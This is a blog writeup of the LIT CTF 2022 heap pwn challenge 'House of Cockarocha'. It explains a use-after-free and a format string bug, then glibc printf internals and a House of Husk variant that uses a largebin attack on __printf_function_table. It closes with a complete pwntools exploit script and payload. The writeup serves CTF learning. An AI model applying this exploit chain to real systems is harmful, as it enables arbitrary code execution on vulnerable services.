Lit Ctf 2022 Pwn Writeup - Part 1: House of Cockarocha

Surprisingly a ctf contest for highschoolers actually has a lot of difficult pwn challenges.
These challenges have a lot of creative exploiting techniques: House of Husk, House of Muney.
Therefore, I wanted to make a detailed writeup, starting with the first challenge: House of Cockarocha

House of Cockarocha (1 solve)

checksec
challenge
That description seems familiar ;)
Because of its similarity to the Minecraft challenge in ImaginaryCtf, that I decided to try to solve it first. The intended solution of Minecraft will be a big hint to how we can solve this one.

My solution however was an unintended one, which was an easier solution compared to the official solution.

A simple binary, an easy to spot bug, but the exploitation was not so easy

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to the house of cockarocha.\n");
  v4 = -1;
  while ( v4 != 5 )
  {
    v4 = menu();
    switch ( v4 )
    {
      case 1:
        catch();
        break;
      case 2:
        exterminate();
        break;
      case 3:
        look();
        break;
      case 4:
        dance();
        break;
      case 5:
        puts("The cockarochas will miss you :(.");
        break;
      default:
        invalid("option, does not exist");
    }
  }
  _exit(0);
}

A typical heap challenge structure

unsigned __int64 catch()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("You are going to catch a cockroach.\n");
  puts("Which container would you like to store it in?");
  v1 = inidx();
  if ( container[v1] )
    invalid("container, already storing cockroach");
  puts("How large is the cockroach you are catching?");
  __isoc99_scanf("%d", &size[v1]);
  getchar();
  puts(&byte_20A7);
  if ( size[v1] <= 1280 || size[v1] > 0x10000 )
    invalid("size, none like that exist");
  container[v1] = malloc(size[v1] + 1);
  puts("Cockroach caught.\n");
  return v2 - __readfsqword(0x28u);
}

Catch function is basically our malloc function, and similarly to Minecraft we can only interact with chunk in unsorted bin range. And in this challenge, we cannot even input into our malloc-ed chunk.

unsigned __int64 exterminate()
{
  char v1; // [rsp+3h] [rbp-Dh]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("You are going to exterminate a cockroach.\n");
  puts("Which container would you like to exterminate the cockroach in?");
  v2 = inidx();
  if ( !container[v2] )
    invalid("container, no cockroach stored");
  free((void *)container[v2]);
  puts("Did you remember to close the container lid? (y/N)");
  v1 = getchar();
  getchar();
  puts(&byte_20A7);
  if ( v1 == 'y' || v1 == 89 )
  {
    container[v2] = 0LL;
    puts("Nice job, cockroach exterminated.\n");
  }
  else
  {
    if ( mistake )
      invalid("decison, 'fool me once shame on you, fool me twice shame on me'");
    puts("Rip, cockroach escaped.\n");
    mistake = 1;
  }
  return v3 - __readfsqword(0x28u);
}

We can free and keep the pointer one time. A one-time UAF.

unsigned __int64 look()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("You are going to look at a cockroach.\n");
  puts("Which container do you want to look at?");
  v1 = inidx();
  if ( !container[v1] )
    invalid("container, no cockroach stored");
  puts("Here is what you saw:");
  puts((const char *)container[v1]);
  puts("Cockroach has been seen.\n");
  return v2 - __readfsqword(0x28u);
}

Look function, combined with UAF, will be how we leak address.

unsigned __int64 dance()
{
  _BYTE *v1; // rbx
  int v2; // [rsp+Ch] [rbp-24h]
  __int64 v3; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  puts("You are going to dance with a cockroach???\n");
  puts("Do you really want to do this? (0/1)");
  __isoc99_scanf("%lld", &v3);
  puts(&byte_20A7);
  if ( v3 )
  {
    puts("Um... ok.\n");
    puts("Which container holds the cockroach you would like to dance with?");
    v2 = inidx();
    if ( !container[v2] )
      invalid("container, no cockroach stored");
    puts("You can now clothe the cockroach (you know, for the dance floor):");
    v1 = (_BYTE *)container[v2];
    v1[read(0, v1, size[v2] + 1) - 1] = 0;
    puts(&byte_20A7);
    if ( strchr((const char *)container[v2], 'n') )
      invalid("clothing, bad design");
    puts("Here's what she looks like:");
    printf((const char *)container[v2]);
    puts(&byte_20A7);
    _exit(0);
  }
  puts("Yeah, that would be weird.\n");
  return v4 - __readfsqword(0x28u);
}

The only time we can get to write into the chunk, the binary will exit right after that.
Similarly to Minecraft, we have a printf format string vulnerability, with character n filtered.

A very restrictive challenge. Even with those powerful vulnerabilities, what can we do with only one time input?

House of Husk, House of Cockarocha, they are all bugs anyway right?

House of Husk technique is something very new that I have just learnt about after Imaginary CTF. I won’t explain how the technique works here. Ptr-yudai has already had a detailed explanation of the technique

We will change the technique a little bit to adapt it to this restrictive challenge, but we still keep the idea of making a fake function table to change printf functionality.
___________________________________________________________________________________

Be prepared because now we will have to dig deep into GLIBC source code, and find what we can abuse ;)
First let’s recap what we already have: A leak, a UAF , we can malloc and input once then the binary exit
=> This means after our input, we need to somehow to malloc again to perform any kind of heap attacks

When reading GLIBC source code for vfprintf_internal, I don’t really try to understand the source code. We are only trying to find any things useful that help us with the attack.
The current thing we are looking for in printf, is to somehow invoke malloc once again, which coulld help us perform heap attacks.
Thus I try to search for malloc in source code, and I found 2 places that it gets called:

if (width >= WORK_BUFFER_SIZE - EXTSIZ)
	  {
	    /* We have to use a special buffer.  */
	    size_t needed = ((size_t) width + EXTSIZ) * sizeof (CHAR_T);
	    if (__libc_use_alloca (needed))
	      workend = (CHAR_T *) alloca (needed) + width + EXTSIZ;
	    else
	      {
		workstart = (CHAR_T *) malloc (needed);

When the width specifer is too big.

bool
__libc_scratch_buffer_set_array_size (struct scratch_buffer *buffer,
                                      size_t nelem, size_t size)
{
  size_t new_length = nelem * size;
  /* Avoid overflow check if both values are small. */
  if ((nelem | size) >> (sizeof (size_t) * CHAR_BIT / 2) != 0
      && nelem != 0 && size != new_length / nelem)
    {
      /* Overflow.  Discard the old buffer, but it must remain valid
         to free.  */
      scratch_buffer_free (buffer);
      scratch_buffer_init (buffer);
      __set_errno (ENOMEM);
      return false;
    }
  if (new_length <= buffer->length)
    return true;
  /* Discard old buffer.  */
  scratch_buffer_free (buffer);
  char *new_ptr = malloc (new_length);

And when scratch_buffer_set_array_size gets called in printf_positional:

{
    /* Calculate total size needed to represent a single argument
       across all three argument-related arrays.  */
    size_t bytes_per_arg
      = sizeof (*args_value) + sizeof (*args_size) + sizeof (*args_type);
    if (!scratch_buffer_set_array_size (&argsbuf, nargs, bytes_per_arg))
      {
	done = -1;
	goto all_done;
      }

bt
However, I could not understand the source code well enough to know if somehow we can control the data gets written into this newly malloc-ed chunk.
Thus, my options of heap attacks are still very limited.
__________________________________________________________________________________

This is where the attack of House of Husk comes into play. In House of Husk, we finds a way to write into __printf_arginfo_table and __printf_function_table , to control RIP.
Therefore, once again I try to search for them in source code ;)
No need to understand the source code too much.
Usually in House of Husk, we need to write into both of those targes. However I found this piece of code:

 /* Process format specifiers.  */
      while (1)
	{
	  extern printf_function **__printf_function_table;
	  int function_done;

	  if (spec <= UCHAR_MAX
	      && __printf_function_table != NULL
	      && __printf_function_table[(size_t) spec] != NULL)
	    {
	      const void **ptr = alloca (specs[nspecs_done].ndata_args
					 * sizeof (const void *));

	      /* Fill in an array of pointers to the argument values.  */
	      for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
		   ++i)
		ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

	      /* Call the function.  */
	      function_done = __printf_function_table[(size_t) spec]
		(s, &specs[nspecs_done].info, ptr);

When printf_positional gets called instead of normal vfprintf. __printf_function_table will be called, without checking __printf_arginfo_table like in vfprintf.
Therefore if we can write __printf_function_table with a address point to region we control then we can hijack RIP by faking a function table.

Time to put everything together

Currently, we have a plan: attack __printf_function_table .
And actually it becomes really easy, when we have found how to malloc again in printf function.
Ideally, we want to write heap address to __printf_function_table , because that’s the region we control, that’s where we can fake a function table beforehand.
Fortunately, there is a heap exploitation technique that helps us write heap address to anywhere we want. It’s Largebin attack

One_gadget failed :(

fake
After Largebin attack, we was able to write heap address to __printf_function_table , now we can control RIP to everywhere we want.
But one_gadget will always fail, due to the registers cannot satisfy the condition of any one_gadget.
register
one

Whenever I get into this situation, I often try to find a way to pivot the rax register. Because very often in libc, there are a lot of gadgets that is like this: call qword ptr[rax + something]
call
I managed to find one very lucky gadget that helps me do exactly this.
lucky
setrax
This gadget helps me put rax into the region I can control. After this, you can try to do the setcontext trick or whatever.
I just used this to set registers that satisfy the one_gadget condition, then calls one_gagdet directly.

The full exploit script

#!/usr/bin/env python3

from pwn import *

#r = gdb.debug("./cockarocha_patched")
r = remote("litctf.live", 31783)
#context.log_level = 1
def new(idx,sz):
	r.sendlineafter("do?\n",b'1')
	r.sendlineafter("in?\n",str(idx).encode())
	r.sendlineafter("catching?\n",str(sz).encode())

def free(idx,opt):
	r.sendlineafter("do?\n",b'2')
	r.sendlineafter("in?\n",str(idx).encode())
	r.sendlineafter("(y/N)\n",opt)

def look(idx):
	r.sendlineafter("do?\n",b'3')
	r.sendlineafter("at?\n",str(idx).encode())

def dance(idx,s):
	r.sendlineafter("do?\n",b'4')
	r.sendlineafter("(0/1)\n",b'1')
	r.sendlineafter("with?\n",str(idx).encode())
	r.sendlineafter("):\n",s)
new(0,0x1e90-8)
new(15,0x510)
free(0,b'N')
look(0)
r.recvuntil("saw:\n")
libc_leak = u64(r.recvline()[0:-1].ljust(8,b'\0'))
base = libc_leak - 0x1ebbe0
one_gadget = base + 0xe6af4
magic = base + 0x0000000000157c2a
set_register = base + 0x0000000000077dfc

free(15,'y')
log.info("LIBC LEAK: " + hex(libc_leak))
log.info("LIBC BASE ADDRESS: " + hex(base))
log.info("ONE GADGET: " + hex(one_gadget))
log.info("magic: " + hex(magic))
new(2,0x520-8)
new(3,0x510-8)
new(4,0x510-8)
new(5,0x510-8)
free(2,'y')
new(6,0x530-8)
free(4,'y')


p = (b"%400$X\0\0" + p64(0)*2 + p64(base + 0x1f0ff8 - 0x20) + p64(set_register) + p64(0)*2 + p64(one_gadget)).ljust(0x520,b'\0')
#0x7756f
# args = 0x1f1350
# func = 0x1f0ff8
p += p64(0x530) + p64(0x520)
p += 0x510 * b'\x41'
p += p64(0) + p64(0x521) + p64(base + 0x1ebbe0)*2 + p64(magic)*90
context.log_level = 1
dance(0,p)
r.interactive()

The intended solution

intended
Just like the technique where we overwrite global_max_fast, this is similar to that but we perform the attack with tcache instead.
tcache
By making mp_.tcache_bins large, now a chunk with large size is still considered inside tcache range, thus it will take the entries out of bounds, and into heap region where we can control.
=> This means we can control the return address from malloc when called inside printf

I said above that:
“However, I could not understand the source code well enough to know if somehow we can control the data gets written into this newly malloc-ed chunk”

When scratch_buffer_set_array_size gets called in printf_positional, it actually mallocs a chunk that will hold data for postional printf.
And we know that when we do %10$p, the data gets printed out comes from the stack, thus that chunk will actually gets filled with data from the stack (and some addtional info) to help printf function in the later stage.

The * is just width specifier which trigger malloc, like I said above when we analyze printf GLIBC source code.

Conclusion

This was a very fascinating challenge for me. The actual challenge here actually lies inside GLIBC source code instead of the binary.
We have to figure out how vfprintf internal works with heap, instead of the usual new, delete, edit, view function often seen in heap challenges.
And a chance to apply House of Husk is always a delight ;)

piers

My personal blog on the journey of mastering pwn (and probably being a good enough dev)


Writeup on the pwn challenge: House of Cockarocha

By Piers, 25-07-2022